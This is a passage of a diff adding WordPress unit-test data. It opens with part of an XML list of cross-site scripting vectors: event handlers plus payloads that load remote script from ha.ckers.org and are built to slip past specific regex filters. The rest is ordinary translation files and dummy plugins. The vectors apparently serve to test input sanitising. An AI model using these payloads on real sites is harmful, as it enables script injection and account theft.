+-onSeek() (fires when the timeline is set to play in any direction other than forward)
+ 
+-onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);)
+ 
+-onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);)
+ 
+-onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);)
+ 
+-onStart() (fires at the beginning of each marquee loop)
+ 
+-onStop() (user would need to press the stop button or leave the webpage)
+ 
+-onSyncRestored() (user interrupts the element&apos;s ability to play its media as defined by the timeline to fire)
+ 
+-onSubmit() (requires attacker or user submits a form)
+ 
+-onTimeError() (fires when user or attacker sets a time property, such as &quot;dur&quot;, to an invalid value)
+ 
+-onTrackChange() (fires when user or attacker changes track in a playList)
+ 
+-onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click)
+ 
+-onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
+ 
+-seekSegmentTime() (locates the specified point on the element&apos;s segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
+</desc> 
+		<label>Event Handlers</label> 
+		<browser>Browser support:</browser> 
+	</attack> 
+	<attack> 
+		<name>Evade Regex Filter 1</name> 
+		<code>&lt;SCRIPT a=&quot;&gt;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>For performing XSS on sites that allow &quot;&lt;SCRIPT>&quot; but don&apos;t allow &quot;&lt;SCRIPT SRC...&quot; by way of the following regex filter:
+	/&lt;script[^&gt;]+src/i</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Evade Regex Filter 2</name> 
+		<code>&lt;SCRIPT =&quot;blah&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>For performing XSS on sites that allow &quot;&lt;SCRIPT>&quot; but don&apos;t allow &quot;&lt;SCRIPT SRC...&quot; by way of a regex filter:
+	/&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i
+	
+(this is an important one, because I&apos;ve seen this regex in the wild)</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Evade Regex Filter 3</name> 
+		<code>&lt;SCRIPT a=&quot;blah&quot; &apos;&apos; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>Another XSS to evade this regex filter:
+	/&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Evade Regex Filter 4</name> 
+		<code>&lt;SCRIPT &quot;a=&apos;&gt;&apos;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>Yet another XSS to evade the same filter:
+	/&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i 
+The only thing I&apos;ve seen work against this XSS attack if you still want to allow &lt;SCRIPT&gt; tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow &lt;SCRIPT&gt; tags)</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Evade Regex Filter 5</name> 
+		<code>&lt;SCRIPT a=`&gt;` SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>And one last XSS attack (using grave accents) to evade this regex:
+	/&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Filter Evasion 1</name> 
+		<code>&lt;SCRIPT&gt;document.write(&quot;&lt;SCRI&quot;);&lt;/SCRIPT&gt;PT SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content.</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Filter Evasion 2</name> 
+		<code>&lt;SCRIPT a=&quot;>&apos;>&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>Here&apos;s an XSS example that bets on the fact that the regex won&apos;t catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack>
+</xss>
Index: /tags/5.0.20/tests/phpunit/data/languages/admin-en_GB.po
===================================================================
--- /tags/5.0.20/tests/phpunit/data/languages/admin-en_GB.po	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/languages/admin-en_GB.po	(revision 56912)
@@ -0,0 +1,35 @@
+# Translation of Administration in English (UK)
+# This file is distributed under the same license as the Administration package.
+msgid ""
+msgstr ""
+"PO-Revision-Date: 2016-10-25 18:29+0200\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+"X-Generator: Poedit 1.8.10\n"
+"Project-Id-Version: Administration\n"
+"Language: en_GB\n"
+
+#: wp-admin/about.php:42 wp-admin/credits.php:23 wp-admin/freedoms.php:22
+msgid "Thank you for updating! WordPress %s makes your site more connected and responsive."
+msgstr "Thank you for updating! WordPress %s makes your site more connected and responsive."
+
+#. translators: 1: WP_Term class name, WP_Comment class name, WP_Network class
+#. name
+#: wp-admin/about.php:185
+msgid "New %1$s, %2$s, and %3$s objects make interacting with terms, comments, and networks more predictable and intuitive in code."
+msgstr "New %1$s, %2$s, and %3$s objects make interacting with terms, comments, and networks more predictable and intuitive in code."
+
+#. translators: WP_Comment_Query class name
+#: wp-admin/about.php:178
+msgid "Comment queries now have cache handling to improve performance. New arguments in %s make crafting robust comment queries simpler."
+msgstr "Comment queries now have cache handling to improve performance. New arguments in %s make crafting robust comment queries simpler."
+
+#: wp-admin/about.php:182
+msgid "Term, comment, and network objects"
+msgstr "Term, comment, and network objects"
+
+#: wp-admin/about.php:175
+msgid "Comment query improvements"
+msgstr "Comment query improvements"
Index: /tags/5.0.20/tests/phpunit/data/languages/admin-en_US-script-handle.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/languages/admin-en_US-script-handle.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/languages/admin-en_US-script-handle.json	(revision 56912)
@@ -0,0 +1,17 @@
+{
+  "translation-revision-data": "+0000",
+  "generator":                 "GlotPress/2.3.0-alpha",
+  "domain":                    "messages",
+  "locale_data":               {
+    "messages": {
+      "":                                                             {
+        "domain":       "messages",
+        "plural-forms": "n != 1",
+        "lang":         "en-gb"
+      },
+      "This file is a translation for script-handle.": [
+        "This file is a translation for script-handle."
+      ]
+    }
+  }
+}
Index: /tags/5.0.20/tests/phpunit/data/languages/admin-es_ES.po
===================================================================
--- /tags/5.0.20/tests/phpunit/data/languages/admin-es_ES.po	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/languages/admin-es_ES.po	(revision 56912)
@@ -0,0 +1,35 @@
+# Translation of Administration in Spanish (Spain)
+# This file is distributed under the same license as the Administration package.
+msgid ""
+msgstr ""
+"PO-Revision-Date: 2016-10-25 18:29+0200\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+"X-Generator: Poedit 1.8.10\n"
+"Project-Id-Version: Administration\n"
+"Language: es_ES\n"
+
+#: wp-admin/about.php:42 wp-admin/credits.php:23 wp-admin/freedoms.php:22
+msgid "Thank you for updating! WordPress %s makes your site more connected and responsive."
+msgstr "¡Gracias por actualizar! WordPress %s hace que tu sitio esté más conectado y sea más adaptable."
+
+#. translators: 1: WP_Term class name, WP_Comment class name, WP_Network class
+#. name
+#: wp-admin/about.php:185
+msgid "New %1$s, %2$s, and %3$s objects make interacting with terms, comments, and networks more predictable and intuitive in code."
+msgstr "Ahora los objetos %1$s, %2$s y %3$s hacen que interactuar con términos, comentarios y redes sea más predecible y que el código sea más intuitivo."
+
+#. translators: WP_Comment_Query class name
+#: wp-admin/about.php:178
+msgid "Comment queries now have cache handling to improve performance. New arguments in %s make crafting robust comment queries simpler."
+msgstr "Las consultas de comentarios ahora tiene una caché que mejora el rendimiento. Nuevos argumentos en %s hacen que sea más fácil crear consultas robustas."
+
+#: wp-admin/about.php:182
+msgid "Term, comment, and network objects"
+msgstr "Objetos de término, comentario y red"
+
+#: wp-admin/about.php:175
+msgid "Comment query improvements"
+msgstr "Mejoras en las consultas de comentarios"
Index: /tags/5.0.20/tests/phpunit/data/languages/admin-network-en_GB.po
===================================================================
--- /tags/5.0.20/tests/phpunit/data/languages/admin-network-en_GB.po	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/languages/admin-network-en_GB.po	(revision 56912)
@@ -0,0 +1,34 @@
+# Translation of Network Admin in English (UK)
+# This file is distributed under the same license as the Network Admin package.
+msgid ""
+msgstr ""
+"PO-Revision-Date: 2016-10-25 18:29+0200\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+"X-Generator: Poedit 1.8.10\n"
+"Project-Id-Version: Network Admin\n"
+"POT-Creation-Date: \n"
+"Language: en_GB\n"
+
+#: wp-admin/network/site-users.php:329 wp-admin/network/user-new.php:106
+msgid "A password reset link will be sent to the user via email."
+msgstr "A password reset link will be sent to the user via email."
+
+#. translators: 1: NOBLOGREDIRECT 2: wp-config.php
+#: wp-admin/network/settings.php:142
+msgid "If registration is disabled, please set %1$s in %2$s to a URL you will redirect visitors to if they visit a non-existent site."
+msgstr "If registration is disabled, please set %1$s in %2$s to a URL you will redirect visitors to if they visit a non-existent site."
+
+#: wp-admin/network/site-users.php:42
+msgid "Site users list"
+msgstr "Site users list"
+
+#: wp-admin/network/site-users.php:41
+msgid "Site users list navigation"
+msgstr "Site users list navigation"
+
+#: wp-admin/network/sites.php:51
+msgid "Sites list"
+msgstr "Sites list"
Index: /tags/5.0.20/tests/phpunit/data/languages/admin-network-es_ES.po
===================================================================
--- /tags/5.0.20/tests/phpunit/data/languages/admin-network-es_ES.po	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/languages/admin-network-es_ES.po	(revision 56912)
@@ -0,0 +1,33 @@
+# Translation of Network Admin in Spanish (Spain)
+# This file is distributed under the same license as the Network Admin package.
+msgid ""
+msgstr ""
+"PO-Revision-Date: 2016-10-25 18:29+0200\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+"X-Generator: Poedit 1.8.10\n"
+"Project-Id-Version: Network Admin\n"
+"Language: es_ES\n"
+
+#: wp-admin/network/site-users.php:329 wp-admin/network/user-new.php:106
+msgid "A password reset link will be sent to the user via email."
+msgstr "Se te enviará un enlace por email para que puedas cambiar la contraseña."
+
+#. translators: 1: NOBLOGREDIRECT 2: wp-config.php
+#: wp-admin/network/settings.php:142
+msgid "If registration is disabled, please set %1$s in %2$s to a URL you will redirect visitors to if they visit a non-existent site."
+msgstr "Si el registro de usuarios está desactivado , establece como valor de %1$s en %2$s una URL donde redirigir a los visitantes que accedan a un sitio inexistente."
+
+#: wp-admin/network/site-users.php:41
+msgid "Site users list navigation"
+msgstr "Navegación por la lista de usuarios del sitio"
+
+#: wp-admin/network/site-users.php:42
+msgid "Site users list"
+msgstr "Lista de usuarios del sitio"
+
+#: wp-admin/network/sites.php:50
+msgid "Sites list navigation"
+msgstr "Navegación por la lista de sitios"
Index: /tags/5.0.20/tests/phpunit/data/languages/continents-cities-es_ES.po
===================================================================
--- /tags/5.0.20/tests/phpunit/data/languages/continents-cities-es_ES.po	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/languages/continents-cities-es_ES.po	(revision 56912)
@@ -0,0 +1,32 @@
+# Translation of Continents & Cities in Spanish (Spain)
+# This file is distributed under the same license as the Continents & Cities package.
+msgid ""
+msgstr ""
+"PO-Revision-Date: 2016-10-26 00:01+0200\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+"X-Generator: Poedit 1.8.10\n"
+"Project-Id-Version: Continents & Cities\n"
+"Language: es_ES\n"
+
+#: wp-admin/includes/continents-cities.php:140
+msgid "Vincennes"
+msgstr "Vincennes"
+
+#: wp-admin/includes/continents-cities.php:141
+msgid "Winamac"
+msgstr "Winamac"
+
+#: wp-admin/includes/continents-cities.php:142
+msgid "Inuvik"
+msgstr "Inuvik"
+
+#: wp-admin/includes/continents-cities.php:143
+msgid "Iqaluit"
+msgstr "Iqaluit"
+
+#: wp-admin/includes/continents-cities.php:144
+msgid "Jamaica"
+msgstr "Jamaica"
Index: /tags/5.0.20/tests/phpunit/data/languages/de_DE.po
===================================================================
--- /tags/5.0.20/tests/phpunit/data/languages/de_DE.po	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/languages/de_DE.po	(revision 56912)
@@ -0,0 +1,42 @@
+# Translation of 4.6.x in German
+# This file is distributed under the same license as the 4.6.x package.
+msgid ""
+msgstr ""
+"PO-Revision-Date: 2016-10-25 18:27+0200\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+"X-Generator: Poedit 1.8.10\n"
+"Project-Id-Version: 4.6.x\n"
+"Language: de_DE\n"
+
+#. translators: Translate this to the correct language tag for your locale, see
+#. https://www.w3.org/International/articles/language-tags/ for reference. Do
+#. not translate into your own language.
+#: wp-includes/general-template.php:716
+msgid "html_lang_attribute"
+msgstr "de-DE"
+
+#. translators: 'rtl' or 'ltr'. This sets the text direction for WordPress.
+#: wp-includes/class-wp-locale.php:223
+msgctxt "text direction"
+msgid "ltr"
+msgstr "ltr"
+
+#. translators: $dec_point argument for https://secure.php.net/number_format,
+#. default is .
+#: wp-includes/class-wp-locale.php:215
+msgid "number_format_decimal_point"
+msgstr ","
+
+#. translators: $thousands_sep argument for
+#. https://secure.php.net/number_format, default is ,
+#: wp-includes/class-wp-locale.php:202
+msgid "number_format_thousands_sep"
+msgstr "."
+
+#. translators: %s: Plugin name and version
+#: wp-includes/script-loader.php:620
+msgid "Update %s now"
+msgstr "Jetzt %s aktualisieren"
Index: /tags/5.0.20/tests/phpunit/data/languages/en_GB.po
===================================================================
--- /tags/5.0.20/tests/phpunit/data/languages/en_GB.po	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/languages/en_GB.po	(revision 56912)
@@ -0,0 +1,38 @@
+# Translation of Development (4.4.x) in English (UK)
+# This file is distributed under the same license as the Development (4.4.x) package.
+msgid ""
+msgstr ""
+"PO-Revision-Date: 2016-10-26 00:01+0200\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+"X-Generator: Poedit 1.8.10\n"
+"Project-Id-Version: Development (4.4.x)\n"
+"Language: en_GB\n"
+
+#. translators: 'rtl' or 'ltr'. This sets the text direction for WordPress.
+#: wp-includes/locale.php:201
+msgctxt "text direction"
+msgid "ltr"
+msgstr "ltr"
+
+#: wp-includes/user.php:2132
+msgid "<strong>ERROR</strong>: Sorry, that username is not allowed."
+msgstr "<strong>ERROR</strong>: Sorry, that username is not allowed."
+
+#: wp-includes/rest-api/class-wp-rest-request.php:850
+msgid "Invalid parameter."
+msgstr "Invalid parameter."
+
+#. translators: %s: menu name
+#: wp-includes/customize/class-wp-customize-nav-menu-control.php:76
+msgctxt "menu location"
+msgid "(Current: %s)"
+msgstr "(Current: %s)"
+
+#. translators: %s: menu location slug
+#: wp-includes/class-wp-customize-nav-menus.php:340
+msgctxt "menu"
+msgid "(Currently set to: %s)"
+msgstr "(Currently set to: %s)"
Index: /tags/5.0.20/tests/phpunit/data/languages/en_US-813e104eb47e13dd4cc5af844c618754.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/languages/en_US-813e104eb47e13dd4cc5af844c618754.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/languages/en_US-813e104eb47e13dd4cc5af844c618754.json	(revision 56912)
@@ -0,0 +1,30 @@
+{
+  "translation-revision-data": "+0000",
+  "generator":                 "GlotPress/2.3.0-alpha",
+  "domain":                    "messages",
+  "locale_data":               {
+    "messages": {
+      "":                                                             {
+        "domain":       "messages",
+        "plural-forms": "n != 1",
+        "lang":         "en-gb"
+      },
+      "This file is too big. Files must be less than %d KB in size.": [
+        "This file is too big. Files must be less than %d KB in size."
+      ],
+      "%d Theme Update":                                              [
+        "%d Theme Update",
+        "%d Theme Updates"
+      ],
+      "password strength\u0004Medium":                                [
+        "Medium"
+      ],
+      "taxonomy singular name\u0004Category":                         [
+        "Category"
+      ],
+      "post type general name\u0004Pages":                            [
+        "Pages"
+      ]
+    }
+  }
+}
Index: /tags/5.0.20/tests/phpunit/data/languages/es_ES.po
===================================================================
--- /tags/5.0.20/tests/phpunit/data/languages/es_ES.po	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/languages/es_ES.po	(revision 56912)
@@ -0,0 +1,38 @@
+# Translation of Development (4.4.x) in Spanish (Spain)
+# This file is distributed under the same license as the Development (4.4.x) package.
+msgid ""
+msgstr ""
+"PO-Revision-Date: 2016-10-25 18:28+0200\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+"X-Generator: Poedit 1.8.10\n"
+"Project-Id-Version: Development (4.4.x)\n"
+"Language: es_ES\n"
+
+#. translators: 'rtl' or 'ltr'. This sets the text direction for WordPress.
+#: wp-includes/locale.php:201
+msgctxt "text direction"
+msgid "ltr"
+msgstr "ltr"
+
+#: wp-includes/user.php:2132
+msgid "<strong>ERROR</strong>: Sorry, that username is not allowed."
+msgstr "<strong>ERROR</strong>: Lo siento, ese nombre de usuario no está permitido."
+
+#: wp-includes/rest-api/class-wp-rest-request.php:850
+msgid "Invalid parameter."
+msgstr "Parámetro no válido. "
+
+#. translators: %s: menu name
+#: wp-includes/customize/class-wp-customize-nav-menu-control.php:76
+msgctxt "menu location"
+msgid "(Current: %s)"
+msgstr "(Actual: %s)"
+
+#. translators: %s: menu location slug
+#: wp-includes/class-wp-customize-nav-menus.php:340
+msgctxt "menu"
+msgid "(Currently set to: %s)"
+msgstr "(Actualmente fijado en: %s)"
Index: /tags/5.0.20/tests/phpunit/data/languages/plugins/internationalized-plugin-de_DE.po
===================================================================
--- /tags/5.0.20/tests/phpunit/data/languages/plugins/internationalized-plugin-de_DE.po	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/languages/plugins/internationalized-plugin-de_DE.po	(revision 56912)
@@ -0,0 +1,21 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: \n"
+"POT-Creation-Date: 2015-12-31 16:31+0100\n"
+"PO-Revision-Date: 2016-10-26 00:02+0200\n"
+"Language: de_DE\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: Poedit 1.8.10\n"
+"X-Poedit-Basepath: .\n"
+"Plural-Forms: nplurals=2; plural=(n != 1);\n"
+"X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;"
+"_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;"
+"esc_html_x:1,2c\n"
+"X-Textdomain-Support: yes\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: internationalized-plugin.php:11
+msgid "This is a dummy plugin"
+msgstr "Das ist ein Dummy Plugin"
Index: /tags/5.0.20/tests/phpunit/data/languages/plugins/internationalized-plugin-en_US-2f86cb96a0233e7cb3b6f03ad573be0b.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/languages/plugins/internationalized-plugin-en_US-2f86cb96a0233e7cb3b6f03ad573be0b.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/languages/plugins/internationalized-plugin-en_US-2f86cb96a0233e7cb3b6f03ad573be0b.json	(revision 56912)
@@ -0,0 +1,17 @@
+{
+  "translation-revision-data": "+0000",
+  "generator":                 "GlotPress/2.3.0-alpha",
+  "domain":                    "messages",
+  "locale_data":               {
+    "messages": {
+      "":                                                             {
+        "domain":       "messages",
+        "plural-forms": "n != 1",
+        "lang":         "en-gb"
+      },
+      "This is a dummy plugin.": [
+        "This is a dummy plugin."
+      ]
+    }
+  }
+}
Index: /tags/5.0.20/tests/phpunit/data/languages/themes/internationalized-theme-de_DE.po
===================================================================
--- /tags/5.0.20/tests/phpunit/data/languages/themes/internationalized-theme-de_DE.po	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/languages/themes/internationalized-theme-de_DE.po	(revision 56912)
@@ -0,0 +1,21 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: \n"
+"POT-Creation-Date: 2015-12-31 16:38+0100\n"
+"PO-Revision-Date: 2016-10-26 00:02+0200\n"
+"Language: de_DE\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: Poedit 1.8.10\n"
+"X-Poedit-Basepath: .\n"
+"Plural-Forms: nplurals=2; plural=(n != 1);\n"
+"X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;"
+"_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;"
+"esc_html_x:1,2c\n"
+"X-Textdomain-Support: yes\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: functions.php:7
+msgid "This is a dummy theme"
+msgstr "Das ist ein Dummy Theme"
Index: /tags/5.0.20/tests/phpunit/data/languages/themes/internationalized-theme-en_US-2f86cb96a0233e7cb3b6f03ad573be0b.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/languages/themes/internationalized-theme-en_US-2f86cb96a0233e7cb3b6f03ad573be0b.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/languages/themes/internationalized-theme-en_US-2f86cb96a0233e7cb3b6f03ad573be0b.json	(revision 56912)
@@ -0,0 +1,17 @@
+{
+  "translation-revision-data": "+0000",
+  "generator":                 "GlotPress/2.3.0-alpha",
+  "domain":                    "messages",
+  "locale_data":               {
+    "messages": {
+      "":                                                             {
+        "domain":       "messages",
+        "plural-forms": "n != 1",
+        "lang":         "en-gb"
+      },
+      "This is a dummy theme.": [
+        "This is a dummy theme."
+      ]
+    }
+  }
+}
Index: /tags/5.0.20/tests/phpunit/data/plugins/hello.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/plugins/hello.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/plugins/hello.php	(revision 56912)
@@ -0,0 +1,14 @@
+<?php
+/*
+Plugin Name: Hello Dolly
+Plugin URI: http://wordpress.org/#
+Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
+Author: Matt Mullenweg
+Version: 1.5.1
+Author URI: http://ma.tt/
+Text Domain: hello-dolly
+
+*/
+
+// Test for 
+?>
Index: /tags/5.0.20/tests/phpunit/data/plugins/internationalized-plugin.php
===================================================================
--- /tags/5.0.20/tests/phpunit/data/plugins/internationalized-plugin.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/plugins/internationalized-plugin.php	(revision 56912)
@@ -0,0 +1,12 @@
+<?php
+/*
+Plugin Name: Dummy Plugin
+Plugin URI: https://wordpress.org/
+Description: For testing purposes only.
+Version: 1.0.0
+Text Domain: internationalized-plugin
+*/
+
+function i18n_plugin_test() {
+	return __( 'This is a dummy plugin', 'internationalized-plugin' );
+}
Index: /tags/5.0.20/tests/phpunit/data/pomo/bad_nplurals.po
===================================================================
--- /tags/5.0.20/tests/phpunit/data/pomo/bad_nplurals.po	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/pomo/bad_nplurals.po	(revision 56912)
@@ -0,0 +1,18 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: bbPress 1.0.4 alpha\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2008-12-26 17:07+0100\n"
+"Last-Translator: Fernando Tellado <fernando.tellado@gmail.com>\n"
+"Language-Team: ayudawordpress.com <admin@ayudawordpress.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: spanish\n"
+"X-Poedit-Country: spain\n"
+"Plural-Forms: nplurals=2; plural=n !=1;\\n\n"
+
+msgid "%d forum"
+msgid_plural "%d forums"
+msgstr[0] "%d foro"
+msgstr[1] "%d foros"
Index: /tags/5.0.20/tests/phpunit/data/pomo/mo.pot
===================================================================
--- /tags/5.0.20/tests/phpunit/data/pomo/mo.pot	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/pomo/mo.pot	(revision 56912)
@@ -0,0 +1,25 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR WordPress
+# This file is distributed under the same license as the PACKAGE package.
+# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+#
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: wp-polyglots@lists.automattic.com\n"
+"POT-Creation-Date: 2009-06-28 11:07+0000\n"
+"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
